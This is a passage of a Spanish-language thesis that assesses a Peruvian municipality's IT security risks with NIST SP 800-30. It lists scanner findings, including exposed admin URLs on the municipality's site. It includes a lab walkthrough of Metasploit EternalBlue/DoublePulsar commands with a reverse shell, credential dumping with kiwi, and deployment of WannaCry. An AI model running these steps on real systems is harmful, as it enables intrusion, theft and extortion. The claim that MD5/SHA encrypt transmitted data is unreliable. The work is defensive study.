Obtenga un security3.fdb predeterminado para su plataforma (por ejemplo, 
descargue un zipkit de la página de descarga de Firebird 3 ) o use un security3.fdb 
con una contraseña conocida, y reemplace su security3.fdb actual con esta versión 
predeterminada. No inicies Firebird todavía. 
La contraseña predeterminada para sysdba es normalmente 'masterkey', pero en 
Firebird 3, el security3.fdb predeterminado solo contiene a este usuario para el 
mecanismo de autenticación heredado, que está deshabilitado en una instalación 
predeterminada de   Firebird 3. Para agregar un usuario sysdba, use una conexión 
integrada a cualquier base de datos y cree una cuenta sysdba. En el símbolo del 
sistema desde la carpeta de instalación de Firebird, ejecute: 
isql -u sysdba <database> 
Dentro de ISQL ejecutar: 
create user sysdba password '<sysdba password>' 
commit; 
Para agregar otro usuario, conéctese usando SYSDBA, similar al paso 2 anterior, 
a cualquier base de datos y ejecute 
create user <username> password '<new password>' 
commit; 
Y salir isql (con quit;) 
Luego, vuelva a iniciar el servidor Firebird, y debería poder conectarse con este 




La mayoría de estos pasos asumen que ya tiene una base de datos para 
conectarse, si aún no tiene una, deberá crearla primero. 
Inicie isql como usuario sysdba: 
isql -u sysdba 
Y crea una base de datos 
create database '<path-of-database 
 
172.16.0.2 
1 0 0 0 
           CRÍTICO                    ALTO                        MEDIO                        BAJO 
Información del host: 
Nombre del host: spm3 
IP: 172.16.0.2 
Sistema Operativo: Microsoft Windows Server 2012 Datacenter. 
VULNERABILIDAD: 





La versión de Microsoft SQL Server en el host ha llegado al final de su vida útil y ya 
no debería usarse porque no recibe actualizaciones de seguridad por parte del 
proveedor. 
Solución: 





1 0 2 0 
           CRÍTICA                ALTA                            MEDIA                            BAJA 
Información del host: 
Nombre del host: srv 
IP: 172.16.0.5 
Sistema Operativo: CentOS 6. 
VULNERABILIDAD: 





Cualquier persona puede acceder a la configuración de phpMyAdmin desde 
Internet. Un hacker malintencionado podría cambiar las configuraciones de la 
herramienta phpMyAdmin con el cual se maneja la base de datos en MySQL del 
servidor web. Se acceder a través de la url: 
munimoyobamba.gob.pe/admin/setup/index.php. Asimismo, es posible acceder al 
inicio de sesión en phpMyAdmin desde la siguiente dirección en internet: 
munimoyobamba.gob.pe/phpmyadmin/?D=A:pma_password 
Solución: 
Las páginas de instalación para aplicaciones web no deberían ser accesibles 
públicamente a través de un servidor web. Restrinja el acceso a él o elimínelo por 
completo. 












Se puede acceder a algunos comandos que utilizaron en el bash de CentOS 
mediante Internet. La dirección para acceder desde un navegador web es: 
munimoyobamba.gob.pe/app/.bash_history.  Basada en la información propuesta 
de este archivo un hacker malicioso podría obtener información que podría servirle 
para planificar algún ataque contra el servidor web. 
Solución: 
Un usuario no debería acceder a la carpeta desde Internet. Se debe restringir a 
usuarios no autorizados. 
VULNERABILIDAD: 





La aplicación transmite información sensible (usuarios, contraseñas) en texto claro 
vía HTTP. Un atacante podría aprovecharse de esta situación para comprometer o 
monitorear la comunicación HTTP entre el cliente y el servidor usando la técnica de 
man-in-the-middle para obtener acceso a datos confidenciales. 
Solución: 
Encriptar la transmisión de información via SSL/TLS. Adicionalmente, asegurarse 
de que la aplicación esta redireccionando a todos los usuarios mediante conexiones 






2 0 0 0 
           CRÍTICO                   ALTO                         MEDIO                        BAJO 
Información del Servidor Web: 
Nombre dns: intranet.munimoyobamba.gob.pe 
IP: 172.16.0.6 
Sistema Operativo: CentOS 6. 
VULNERABILIDAD: 





Se ha encontrado una vulnerabilidad de denegación de servicio (DoS) en la forma 
en que los rangos superpuestos son manejados por el servidor Apache HTTPD 
antes de la versión 2.2.20. El ataque se puede hacer de forma remota y con un 
número modesto de solicitudes puede causar un uso muy significativo de memoria 
y CPU en el servidor, dejándolo incapaz de atender a usuarios legítimos de manera 
oportuna. 
Solución: 
Probar una de las siguientes soluciones para poder mitigar la vulnerabilidad. En el 
caso de funcionar ninguna, consultar la referencia para mayor información: 
1) Use SetEnvIf o mod_rewrite para detectar una gran cantidad de rangos y luego 
ignore el encabezado Range: o rechace la solicitud. 
2) Use mod_headers para deshabilitar por completo el uso de encabezados Range: 




3) Implemente un módulo de recuento de encabezados Range como medida 
temporal provisional. 
Para mayor información visitar el siguiente link: 
https://httpd.apache.org/security/CVE-2011-3192.txt 
VULNERABILIDAD: 





La función phpinfo(), revela información potencialmente confidencial, y cualquier 
usuario en Internet puede verlo: http://intranet.munimoyobamba.gob.pe/info.php  
Un black hat hacker podría recopilar parte de la información para realizar algún 
ataque al Servidor Web, los datos que se puede recopilar de este archivo incluyen: 
el nombre de usuario que ejecuta el proceso PHP, si es un usuario “sudo”, la 
dirección IP del host, la versión del sistema y el directorio raíz del Servidor Web. 
Solución: 
En el archivo de php.ini, cambiar la línea que incluye el disable_functions para que 















1 0 0 0 
           CRÍTICA                    ALTA                        MEDIA                         BAJA 
Información del host: 
Nombre: web-master 
IP: 172.16.0.151 
Sistema Operativo: Microsoft Windows 7. 
VULNERABILIDAD: 





Existen múltiples vulnerabilidades de ejecución remota de código en Microsoft 
Server Message Block 1.0 (SMBv1) debido al manejo inadecuado de ciertas 
solicitudes. Un atacante remoto no autenticado puede explotar estas 
vulnerabilidades, a través de un paquete especialmente diseñado, para ejecutar 
código arbitrario.  
ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, y 
ETERNALSYNERGY son exploits (códigos maliciosos) que se aprovechan de la 
vulnerabilidad en SMB v1. 
WannaCry y Petya son ransomware que encriptan toda la información de una 
computadora y piden una cantidad de dinero para poderla liberar. 
Solución: 
Ejecutar Windows Update para obtener el parche de seguridad correspondiente a 






Es una herramienta automatizada para la prueba de seguridad en aplicaciones 
webs para identificar vulnerabilidades como SQL Injection, Cross site scripting entre 
otros tipos de vulnerabilidades. 
Para utilizar esta herramienta, se pone el sitio web a escanear. 
 





Para obtener más información sobre las vulnerabilidades, se describen a 
continuación: 
www.munimoyobamba.gob.pe 
0 0 0 3 
           CRÍTICO                     ALTO                        MEDIO                       BAJO 
Información del sitio web: 
URL: www.munimoyobamba.gob.pe 
Dirección IP del dominio: 209.45.77.123 
VULNERABILIDAD: 





Clickjacking es una técnica maliciosa de engañar a un usuario de la Web para que 
haga click en algo diferente de lo que el usuario percibe que está haciendo click, lo 
que potencialmente revela información confidencial o toma el control de su 
computadora 
El servidor no devolvió un encabezado X-Frame-Options, lo que significa que este 
sitio web podría estar en riesgo de un ataque de clickjacking. El encabezado de 
respuesta HTTP X-Frame-Options se puede usar para indicar si se debe permitir o 
no a un navegador representar una página dentro de un marco o iframe. Los sitios 
webs pueden usar esto para evitar ataques de clickjacking, asegurando que su 
contenido no esté incrustado en otros sitios. 
Solución: 
Para habilitar X-Frame-Options en Apache, solo se tiene que agregar al archivo de 
httpd.conf el siguiente comando: 












Cuando una cookie se configura con el indicador HttpOnly, le indica al navegador 
web que solo el servidor puede acceder a las cookies y no los scripts por el lado 
del cliente, en este caso esta desactivada, por lo tanto, se puede robar las cookies 
del servidor. 
Solución: 
Se puede cambiar la configuración en php.ini o mediante ini_set() llamadas para 
cambiar session.cookie_securey session.cookie_httponlyvalores a true. 










La página de inicio de sesión no tiene ninguna protección contra ataques de 
adivinación de contraseña (ataques de fuerza bruta).  
Solución: 
Se recomienda implementar algún tipo de bloqueo de cuenta después de un 




FASE 5: Hacking de Sistemas 
Conceptos que se deben tener en cuenta para entender mejor esta fase de hacking: 
Exploit: es una secuencia de comandos o software con el objetivo de aprovecharse 
de una vulnerabilidad en un software. La vulnerabilidad o bug es el resultado de un 
fallo de programación durante su creación (Gonzáles, Sánchez y Soriano, 2015). 
Meterpreter: es un pequeño intérprete de comandos que ofrece una forma de 
interactuar con los sistemas. Esto significa que no necesariamente se tiene que 
conocer los comandos de Windows o Linux. Todo lo que se necesita es saber cómo 
interactuar con Meterpreter para obtener lo que se necesita en el sistema 
comprometido (Messier, 2016). 
Metasploit: es una herramienta de código abierto diseñada para facilitar las 
pruebas de Ethical Hacking. Fue escrito en el lenguaje de programación Ruby, 
utiliza un enfoque modular para facilitar el desarrollo y la codificación de exploits 
(Beggs, 2014). 
En esta fase se utilizó la distribución Kali Linux 2019, que trae muchas herramientas 
instaladas que nos sirven para realizar las pruebas de Ethical Hacking en entornos 
controlados. 
EternalBlue y DoublePulsar son herramientas de software supuestamente 
desarrolladas por la Agencia de Seguridad Nacional de los Estados Unidos (NSA). 
Los cuales fueron filtradas por un grupo de hackers conocidos como “Shadow 
Brokers” en el año 2017, y que fueron utilizados en el ataque mundial de 
Ransomware con WannaCry en ese mismo año, el cual infectó miles de sistemas 
informáticos en todo el mundo, causando grandes pérdidas económicas. 
Se realizó el hacking sobre una máquina Windows 7 utilizando los exploits 
EternalBlue y DoublePulsar, para que posteriormente, se infecte el sistema con el 
Ransomware Wannacry, el cual encriptaba todos los archivos del sistema, pidiendo 
un rescate en Bitcoin para poder recuperarlos. Se debe mencionar que esta fase 
se realizó en una máquina virtual de prueba, configurada con las mismas 
características que tenía una computadora de la Municipalidad y que era vulnerable 




Municipalidad Provincial de Moyobamba, con el único objetivo de demostrar cómo 
sería un ataque cibernético y las consecuencias que traería la explotación de la 
vulnerabilidad sobre un sistema operativo Windows 7 y sus archivos. 
Los exploits EternalBlue y DoublePulsar se aprovechaban de una vulnerabilidad 
presente en el protocolo SMB v1 el cual se ejecuta en el puerto TCP 139 Y 445. A 
continuación, se presenta los pasos a seguir para llevar a cabo la prueba: 
1. Se escanea los puertos con la herramienta nmap 139 y 445 de la maquina 
Windows 7 para verificar si están abiertos, ya que, por medio de esos puertos se 
ejecuta el ataque. La dirección IP del host víctima es 10.0.2.9 
Comando: nmap -p139, 445 10.0.2.9 
 
2. Abrimos Metasploit Framework para buscar el escáner que detecta la 
vulnerabilidad SMB en el host. 







3. Seleccionamos el escáner y se lo envía a la dirección IP del host para verificar si 
tiene la vulnerabilidad.  
Comando 1: use auxiliary/scanner/smb/smb_ms17_010 





4. Después de realizar el escaneo, se observa que el host es vulnerable al exploit. 
5.  
5. Ahora, se busca y utiliza los exploits Eternalblue y DoublePulsar 
Comando 1: search eternalblue 






6. Mandar el DOUBLEPULSARPATH y ETERNALBLUEPATH hacia la dirección 
/root/Eternalblue-Doublepulsar-Metasploit/deps/ 
Comando1: set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-
Metasploit/deps/ 
Comando 2: set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-
Metasploit/deps/ 
 
7. Se envía el exploit a la dirección IP de la maquina víctima (comando 1), asimismo, 
se pone la dirección IP del host atacante para ejecutar todos los comandos 
remotamente (comando 2). 
Comando 1: set RHOST 10.0.2.9 
Comando 2: set LHOST 10.0.2.8 
 
8. Lo que falta por hacer es enviar el payload al sistema Windows 7. 
Comando 1: set payload windows/x64/meterpreter/reverse_tcp 









9. El último paso es ejecutar el exploit para crear la sesión en Meterpreter. Después 
de realizarlo, se observa que el exploit se ejecutó correctamente y que se puede 





















FASE 6: Escalado de Privilegios 
10. Una vez que se creó la sesión en Meterpreter se tiene que elevar los privilegios 
de usuario dentro del sistema hackeado para poder realizar muchas acciones y no 
estar limitado a solo algunos procesos. 
Comando: getsystem 
 
11. En la sesión de Meterpreter habilitamos la opción “kiwi” que cargará extensiones 
“Minikatz”, la cual extrae contraseñas de texto sin formato del sistema Windows en 
lugar de solo hashes de contraseñas. 
Comando: load kiwi 
 
 
12. Extraemos todas las contraseñas en texto plano de cada usuario del sistema 
Windows 7. 















14. Ejecutamos el siguiente comando para enviar al usuario un mensaje de aviso 
informándolo que ha sido hackeado  










15: Finalmente, el último paso es enviar el ransomware WannaCry al sistema 
hackeado y ejecutarlo. Esto encriptara todos los archivos que están en la 
computadora y pedirá un rescate en bitcoin para poder recuperarlos. 
Comando 1: upload /root/Desktop/WannaCry.exe 
Comando 2: execute -f WannaCry.exe 
 
16. En la imagen se observa un mensaje diciendo que todos nuestros archivos 










El Ethical Hacking fue complementado con la metodología NIST SP 800-30 y 
adaptada a los indicadores de la variable dependiente. El objetivo de la NIST SP 
800-30 es proporcionar orientación para realizar evaluaciones de riesgos en los 
sistemas informáticos de las organizaciones, proporcionando la información 
necesaria para determinar los cursos de acción apropiados en respuesta a los 
riesgos identificados. 
Metodología NIST SP 800-30 
 
 
El Riesgo consiste en la probabilidad de que ocurra un incidente de seguridad, por 
otro lado, la Amenaza es la acción que podría causar un potencial efecto negativo 
sobre un sistema informático, hay que tener en cuenta que una amenaza por sí 
misma no provoca un daño, si bien puede afectar a la disponibilidad, integridad y 
confidencialidad. Finalmente, una Vulnerabilidad son todas las debilidades o fallos 
que pueden causar daño y que pueden ser de diferente naturaleza, como, por 
ejemplo, de diseño, configuración, estándares de uso o procedimientos. 
Un Riesgo informático es la probabilidad de que ocurra una Amenaza, utilizando 































Se debe mencionar como punto muy importante, que la metodología NIST SP 800-
30 se relacionó con los cuatro indicadores de la variable dependiente: Gestión de 
Riesgos, además, solo se aplicó en los sistemas informáticos que incluyen 
hardware y software dentro de la organización. Para lograrlo se identificaron y 
clasificaron los sistemas informáticos que son de importancia para la Entidad, los 




















Tabla 8: Sistemas Informáticos de la Municipalidad Provincial de Moyobamb



















Bajo Medio Alto 
PC - Laptops Son las computadoras de 
escritorio y laptops 
personales. 
 X   X 
Equipos de Redes y 
Comunicaciones 
Dispositivos que se 
encargan de conectar la 
red LAN. 
 X   X 
Data Center Son todos los servidores 
físicos. 
 X   X 
Servidor de Base de 
Datos 
Almacena la información de 
los usuarios y los procesos 
internos y se encuentran los 
sistemas gestores de bases 
de datos (Microsoft Sql 
Server, MySQL). 
X    X 
Servidor Proxy Se encarga de ser 
intermediario entre el 
usuario y un servidor. 
X   X  
Servidor DNS Transforma las direcciones 
IP en direcciones webs. 
X    X 
Portal Web Portal web donde se publica 
información relacionada a la 
organización. 
X   X  
Sistemas Operativos:                    
Microsoft Windows 7, 
10 y CentOS. 




Identificación de Amenazas y Vulnerabilidades. 
Una amenaza es cualquier circunstancia o evento con el potencial de impactar 
adversamente las operaciones y sistemas de la organización mediante un acceso 
no autorizado, destrucción o modificación de la información, etcétera. Una fuente 
de amenaza se caracteriza por la intención y el método dirigido a la explotación de 
una vulnerabilidad. Por otro lado, las vulnerabilidades son las debilidades de 
seguridad que está presente en un sistema informático, esto puede ser por causa 
de una mala configuración, errores humanos, falta de actualización del software o 
sistema operativo, etcétera. Todas estas vulnerabilidades con una buena gestión 
de riesgos pueden ser subsanadas para evitar daños en la Organización. 
La siguiente tabla muestra el indicador N° 01: Número de Riesgos identificados. 
Para poder determinar la cantidad de riesgos, primero se tuvo que identificar las 





















Indicador 1: Número de riesgos identificados (amenazas y vulnerabilidades) 
Identificador 
del Riesgo 





No se cuenta con un plan de 
continuidad de negocio. 
Al momento de producirse un terremoto, toda la 











Infección de malware por medio de 
USB o discos duros externos. 
Muchas de las menorías externas, como, por 
ejemplo, USB están infectadas por malware. 
Además, los usuarios al momento de conectarlo a la 
PC no analizan la información contenida en la 
memoria con el Antivirus para desinfectarla en caso 
de que contenga algún malware, por consiguiente, 











Fuga de metadatos en documentos 
electrónicos que se suben al portal 
web institucional. 
Los metadatos contienen cierta información valiosa, 
como ejemplo, nombre de usuario que creo el 
archivo, usuarios que lo manipularon, software con el 
que ha sido creado, etcétera. Estos metadatos 
pueden ser de gran utilidad a un hacker con 
intenciones maliciosas, para realizar ataques, como, 
por ejemplo, Ingeniería Social. 







No existen controles para la 
encriptación de información sensible, 
cuando esta se encuentra 
transmitiendo por la red. 
La información que se transmite dentro de la intranet 
viaja en texto sin cifrar, lo cual podría ser leída con 










No existe un Sistema de Gestión 
para la Seguridad de Información, 
por lo que no se realiza un proceso 
de evaluación sobre el nivel de 
implementación y cumplimiento de 
normas de seguridad. 
Un Sistema de Gestión para la Seguridad de la 
Información ayuda a tener políticas y procedimientos 






No se realizan evaluaciones de 
seguridad en los sistemas 
informáticos mediante la técnica de 
Ethical Hacking 
El Ethical Hacking ayuda a detectar, analizar y 
mitigar las vulnerabilidades de seguridad presentes 
en los sistemas informáticos, que a simple vista no 
pueden ser detectados. Para ello implica el uso de 








Los equipos UPS no están 
implementados en su gran mayoría. 
 
Al momento de producirse un corte de energía 
eléctrica sin previo aviso y cuando esta vuelve 
repentinamente, el voltaje podría quemar algunas 








Debido a la cantidad de información y programas sin 
utilizar la memoria interna puedo verse afectada, 
trayendo consigo, lentitud en el sistema operativo y 
procesos. 
Daño permanente en piezas básicas 
de la computadora. 
El polvo podría ocasionar que algunas piezas, como 
















Network Time Protocol (NTP) Mode 
6 Scanner 
 
El servidor NTP remoto responde a consultas del 
modo 6. El cual podría ser utilizado para un ataque 
de Denegación de Servicio 
Versión de PHP desactualizado 
 
La versión de PHP esta desactualizado. 
Exploit Eternalblue y Ransomware 
WannaCry 
La version de SMBv1 es vulnerable al exploit 
Eternalblue y Ransomware WannaCry. Toda la 
información del sistema puede ser encriptada. 
El Nombre de la comunidad SNMP 
está por defecto 
Es posible obtener el nombre de comunidad 
predeterminado del servidor SNMP remoto, ya que 
es público. 
Microsoft SQL Server desactualizado 
 
La versión de Microsoft SQL Server en el host esta 




Servidor Web Apache vulnerable a 
un ataque se Denegación de Servicio 
 
El ataque se puede realizar de forma remota 
enviando una cantidad significativa de solicitudes al 
mismo tiempo causando uso excesivo de memoria y 






Falta de dispositivo biométrico en la 
entrada del Data Center. 
Cualquier persona sin autorización podría ingresar al 
Data Center. 
Falta la instalación de cámaras de 
videovigilancia en la Oficina de 
Tecnologías de Información. 
En el caso de que se produzca algún incidente de 
seguridad no se podría saber quién fue, por la falta 







Ingeniería Social. La Ingeniería Social consiste en manipular a los 
usuarios psicológicamente con el fin de obtener 
información confidencial sin que ellos se den cuenta. 
Phishing Es una técnica de Ingeniería Social que se propaga 
generalmente por el envío de correos electrónicos 











El firewall se encuentra desactivado. Al estar desactivado el firewall del servidor, está 
expuesta a múltiples amenazas en Internet, ya que 
no tiene protección, y la confidencialidad, integridad 










































DNS Server Cache Snooping 
 
El servidor DNS remoto responde a las consultas de 
dominios de terceros que no tienen establecido el bit 
de recursividad. 
Certificado SSL no puede ser 
verdadero 
 
El sitio web está utilizando un certificado 
autofirmado, que no proporciona seguridad. 
Métodos activados: HTTP TRACE / 
TRACK  
 
Mediante estos métodos se puede realizar un 
ataque de Cross Site Scripting, una vulnerabilidad 
que puede robar las cookies y otro tipo de 
información del servidor web. 
Algoritmo débil de cifrado en SSH  El host se ve afectado por una vulnerabilidad de 
divulgación de información de tipo Man-in-the-
Middle, debido a un error en la implementación del 
algoritmo de cifrado RC4, ya que este sistema de 
cifrado es muy inseguro. 
SNMP ‘GETBULK’ Reflection DDoS 
 
El servicio SNMP remoto está respondiendo con una 
gran cantidad de datos a una petición ‘GETBULK’ 
con un valor mayor que el normal. Un atacante 
remoto puede utilizar este servidor SNMP para 







SMB no requiere registro La firma es necesaria en el servidor SMB para evitar 
ataque de Man in the Middle. 
Acceso a los protocolos SAM y 
LSAD sin credenciales 
 
Existe una vulnerabilidad de elevación de privilegios 
y se puede obtener acceso a la base de datos SAM, 
en la cual se almacena las contraseñas de usuarios. 
Credenciales por defecto FIREBIRD 
 
Es posible conectar al servicio remoto de la base de 
datos usando credenciales por defecto. 
Capeta principal de Linux Accesible  
 
Se puede acceder a la configuración de 
phpMyAdmin desde Internet sin necesidad de estar 
autentificado. 
 
Información sensible se transmite en 
texto claro vía HTTP 
 
La aplicación web transmite informacion sensible 
(usuarios y contraseñas) en texto claro. 
Información accesible de phpinfo() 
 




Clickjacking es una técnica maliciosa de engañar a 
un usuario de la Web para que haga click en algo 






Cookie sin HttpOnly 
 
Se puede robar las cookies del servidor 
Ataque de inicio de sesión con 
contraseña 
 
La página de inicio de sesión no tiene protección 








Man in the Middle. 
 
 
Esta vulnerabilidad intercepta paquetes de datos 







Probabilidad de la Amenaza e Impacto de la Vulnerabilidad 
Para calcular el nivel de riesgo que pertenece al Indicador N° 02: Número de 
Riesgos Analizados, se realizó la siguiente fórmula: 
Riesgo = Amenaza x Vulnerabilidad 
Multiplicando los valores cuantitativos, se obtuvieron valores desde 0 – 100, luego 
se procedió a establecer el respectivo valor cuantitativo, según el rango, como se 
muestra en la siguiente tabla: 













Riesgo Muy Alto significa que una 
amenaza tenga múltiples efectos adversos 
catastróficos sobre las operaciones o 







Riesgo Alto significa que se podría esperar 
que una amenaza tenga un efecto adverso 
severo o catastrófico en las operaciones o 







Riesgo Moderado significa que se podría 
esperar una amenaza tenga un efecto 








Riesgo Bajo significa que se podría 
esperar una amenaza tenga un efecto 








Riesgo Muy Bajo significa que una 
amenaza tenga un efecto adverso 





Indicador 2: Número de riesgos analizados (amenazas y vulnerabilidades) 
Identificador 
del Riesgo 
Amenaza Vulnerabilidad Probabilidad 
de la Amenaza 








No se cuenta con un plan de 
continuidad de negocio. 








Infección de malware por medio de 




















Fuga de metadatos en documentos 










No existen controles para la 
encriptación de información sensible, 
cuando esta se encuentra 















No existe un Sistema de Gestión 
para la Seguridad de Información, 
por lo que no se realiza un proceso 














 Ausencia en 
políticas de 
seguridad 
implementación y cumplimiento de 
normas de seguridad. 
No se realizan evaluaciones de 
seguridad en los sistemas 


















Los equipos UPS no están 











Alto Moderado MODERADO 
Daño permanente en piezas básicas 





















Versión de PHP desactualizado 
 
Alto Muy Alto ALTO 
Exploit Eternalblue y Ransomware 
WannaCry 




El Nombre de la comunidad SNMP 









Microsoft SQL Server 
desactualizado 
Alto Muy Alto ALTO 
Servidor Web Apache vulnerable a 
un ataque se Denegación de 
Servicio 








Falta de dispositivo biométrico en la 







Falta la instalación de cámaras de 
videovigilancia en la Oficina de 












































































DNS Server Cache Snooping Alto Moderado MODERADO 
Certificado SSL no puede ser 
verdadero 
Alto Moderado MODERADO 









Algoritmo débil de cifrado en SSH Alto Moderado MODERADO 
SNMP ‘GETBULK’ Reflection DDoS Alto Moderado MODERADO 
SMB no requiere registro Alto Moderado MODERADO 
Acceso a los protocolos SAM y 
LSAD sin credenciales 
Alto Moderado MODERADO 
Credenciales por defecto FIREBIRD Alto Muy Alto ALTO 
Capeta principal de Linux Accesible  Alto Muy Alto ALTO 
Información sensible se transmite en 
texto claro vía HTTP 
Alto Moderado MODERADO 
Información accesible de phpinfo() Alto Muy Alto ALTO 







Cookie sin HttpOnly Alto Bajo BAJO 
Ataque de inicio de sesión con 
contraseña 
 






Man in the Middle. 
 





Mecanismos de Protección y Mitigación del Riesgo  
Después de establecer el nivel de riesgo en base a las amenazas y 
vulnerabilidades, se procedió con el indicador N° 03: Número de Riesgos Tratados, 
donde se muestra los mecanismos de protección para cada riesgo, formado por 
amenaza y vulnerabilidad, con el objetivo de proteger la confidencialidad, integridad 
y disponibilidad de la información. 
Para la mitigación del riesgo existen 4 posibles alternativas: 
1. Asumir. Se acepta el riesgo, ya sea por falta económica de la Entidad u 
otro factor. 
2. Evitar. Se elimina la causa y potencial consecuencia del riesgo. 
3. Reducir. Mediante la implementación de controles para proteger la 
seguridad y minimizar el impacto que podría causar. 
4. Transferir. Utilizar alternativas secundarias para soportar la 






Indicador 3: Número de riesgos tratados (amenazas y vulnerabilidades) 
Identificador 
del Riesgo 





No se cuenta con un plan de continuidad 
de negocio. 
Tener copia de seguridad de 









Infección de malware por medio de USB, 
discos duros externos. 
  
Bloquear los puertos USB en las 












Fuga de metadatos en documentos 
electrónicos que se suben al portal web 
institucional. 
Limpiar los metadatos de 








No existen controles para la encriptación 
de información sensible, cuando esta se 
encuentra transmitiendo por la red. 
Utilizar algún algoritmo de 
encriptación (MD5, SHA) para la 



















No existe un Sistema de Gestión para la 
Seguridad de Información, por lo que no 
se realiza un proceso de evaluación sobre 
el nivel de implementación y cumplimiento 
de normas de seguridad. 
Implementar un Sistema de 
Gestión de Seguridad de la 
Información  para todas las 









No se realizan evaluaciones de seguridad 
en los sistemas informáticos mediante la 
técnica de Ethical Hacking. 
Se debe tener a un profesional 
en Ethical Hacking y 
Ciberseguridad, el cual se 
encargue de identificar y mitigar 
vulnerabilidades de seguridad en 



















 Los equipos UPS no están 
implementados en su gran mayoría. 




Funcionamiento lento. Formatear las computadoras por 
lo menos una vez al año, 
limpiando el contenido 




Daño permanente en piezas básicas de la 
computadora. 
Brindar mantenimiento 
preventivo a las computadoras 


















Network Time Protocol (NTP) Mode 6 
Scanner 




Versión de PHP desactualizado Actualizar a la versión más 
reciente de PHP 
 
REDUCIR 
Exploit Eternalblue y Ransomware 
WannaCry 
Actualizar a la versión de SMBv3  
REDUCIR 
El Nombre de la comunidad SNMP está 
por defecto 




Microsoft SQL Server desactualizado 
 
  
La versión de Microsoft SQL 
Server en el host esta 




Servidor Web Apache vulnerable a un 
ataque se Denegación de Servicio 
Actualizar una versión más 











Falta de dispositivo biométrico en la 
entrada del Data Center. 
Instalar un dispositivo biométrico 
y configurarlo para el personal 
autorizado. 
 
 REDUCIR  
Falta la instalación de cámaras de 
videovigilancia en la Oficina de 
Tecnologías de Información. 
Instalar cámaras en un punto 
estratégico para que se pueda 
monitorear toda la actividad que 

















Conocer las técnicas de 
manipulación que utilizan los 








Verificar minuciosamente cada 
correo electrónico, el remitente, 
las URL y documentos, ya que 



























El Firewall se encuentra desactivado. 
Activar el firewall del servidor, ya 
que este protege el sistema 
contra múltiples amenazas. En el 
caso de que el firewall activado 
no permita la ejecución de 
algunas aplicaciones internas de 
la entidad, agregar los puertos 






DNS Server Cache Snooping 
 
Se debería deshabilitar la 














































pero esto debe tomarse en 
función por la cual está 
configurado el servidor DNS. 
REDUCIR 
Certificado SSL no puede ser verdadero 
 
Comprar un certificado SSL 
adecuado para el servicio. 
REDUCIR 
Métodos activados: HTTP TRACE / 
TRACK  
Desactivar los métodos HTTP 
TRACE / TRACK 
REDUCIR 
Algoritmo débil de cifrado en SSH Quitar la compatibilidad con el 
algoritmo de cifrado RC4. 
REDUCIR 
SNMP ‘GETBULK’ Reflection DDoS 
 
Cambiar la comunidad “publica” 
por otra. 
REDUCIR 
SMB no requiere registro Modificar el registro para cambiar 
la configuración. 
REDUCIR 
Acceso a los protocolos SAM y LSAD sin 
credenciales 
 
Actualizar el sistema operativo. REDUCIR 
Credenciales por defecto FIREBIRD 
 
Cambiar la contraseña. REDUCIR 
Capeta principal de Linux Accesible  
 


















Información sensible se transmite en texto 
claro vía HTTP 
Encriptar la transmisión de 
información via SSL/TLS 
REDUCIR 
Información accesible de phpinfo() 
 










Cookie sin HttpOnly 
 
Cambiar la configuración en 
php.ini 
REDUCIR 
Ataque de inicio de sesión con contraseña 
 
Implementar bloqueo de cuenta 
después de un número definido 












Ataque a contraseñas 
Crear contraseñas complejas, 
que contengan letras mayúsculas 









Indicador 4: Número de mecanismos para la protección de la seguridad física 




Protección de equipos informáticos 
Los equipos deberían estar ubicados y protegidos para 
reducir los riesgos de amenazas, como, por ejemplo, polvo, 




Instalaciones de suministro  
Los equipos se deberían proteger contra fallas de energía, 






Acceso al Data Center 
El acceso al Data Center solo debe ser por el personal 
autorizado que pertenece a la Oficina de Tecnologías de 
Información y debe autentificarse mediante algún 




Mantenimiento de los equipos informáticos  
Se deben realizar mantenimiento preventivo de todos los 
equipos dos veces por año, tanto en la parte de hardware y 




Perímetro de seguridad física   
Se deberían definir y usar perímetros de seguridad y 
usarlos para proteger áreas que contengan información 
sensible o crítica. 
 




Anexo 02: Instrumento de recolección de datos 
Cuestionario 
Estimado, con el presente cuestionario se pretende obtener datos respecto a la 
gestión de riesgos en los sistemas informáticos, para lo cual le solicito su 
colaboración, respondiendo a todas las preguntas con la mayor sinceridad 
posible. La información obtenida permitirá proponer sugerencias para mejorar la 
gestión de riesgos de seguridad de la información.  
Marque con una (x) la alternativa que considera pertinente en cada pregunta. 
ESCALA VALORATIVA 
CÓDIGO CATEGORIA VALOR 
S Siempre 5 
CS Casi Siempre 4 
AV A veces 3 
CN Casi Nunca 2 

















 VARIABLE: GESTIÓN DE RIESGOS 
 Indicador 01: Número de riesgos 
identificados 
S CS AV CN N 
1 En el caso de producirse un movimiento telúrico y 
destruya los sistemas informáticos ¿Se cuenta 
con un plan de continuidad de negocio? 
     
2 ¿Los puertos USB están activados en las 
computadoras? 
     
3 ¿Se limpian los metadatos de archivos que se van 
a subir al portal web? 
     
4 ¿Existen Políticas de Seguridad en los sistemas 
informáticos? 
     
5 ¿Se realizan monitoreos de los sistemas 
informáticos constantemente? 
     
 Indicador 02: Número de riesgos analizados. S CS AV CN N 
6 ¿El sistema operativo y software se encuentra 
actualizado? 
     
7 ¿El personal está capacitado en temas de 
ciberseguridad? 
     
8 ¿Se realizan pruebas de Ethical Hacking en los 
sistemas informáticos? 
     
9 ¿Se transmiten las contraseñas de modo seguro 
mediante el uso de cifrado? 
     
10 ¿Los sistemas requieren una fortaleza de 
contraseñas establecido mediante reglas? 
*Longitud mínima de la contraseña 
*Imponen reglas de complejidad (mayúsculas, 
minúsculas, números, símbolos, etc). 
     
 Indicador 03: Número de riesgos tratados. S CS AV CN N 
11 ¿Hay medios para comunicar información de tales 
incidentes a la organización? 




12 ¿Se documenta las acciones tomadas para 
resolver y finalmente cerrar un incidente? 
     
13 ¿Hay un proceso de evaluación / investigación 
para identificar incidentes de impacto 
recurrentes? 
     
14 ¿Se aprovecha la información obtenida de la 
evaluación de incidentes para evitar 
recurrencias? 
     
15 ¿Se está aprendiendo de forma proactiva de 
incidentes, mejorando los conocimientos de 
riesgo y los controles de seguridad? 
     
 Indicador: Número de mecanismos para la 
protección de la seguridad física. 
S CS AV CN N 
16 ¿Las políticas son razonablemente completas y 
cubren todos los riesgos de información y áreas 
de control relevantes? 
     
17 ¿Están las políticas bien escritas, legible, 
razonable y viable? 
     
18 ¿Cubren todos los activos de información 
esenciales, sistemas, servicios, etc.? 
     
19 ¿La información que se transmite en la red 
interna esta encriptada? 
     
20 Para el ingreso al Data Center. ¿Existe algún 
mecanismo de autentificación, como, por 
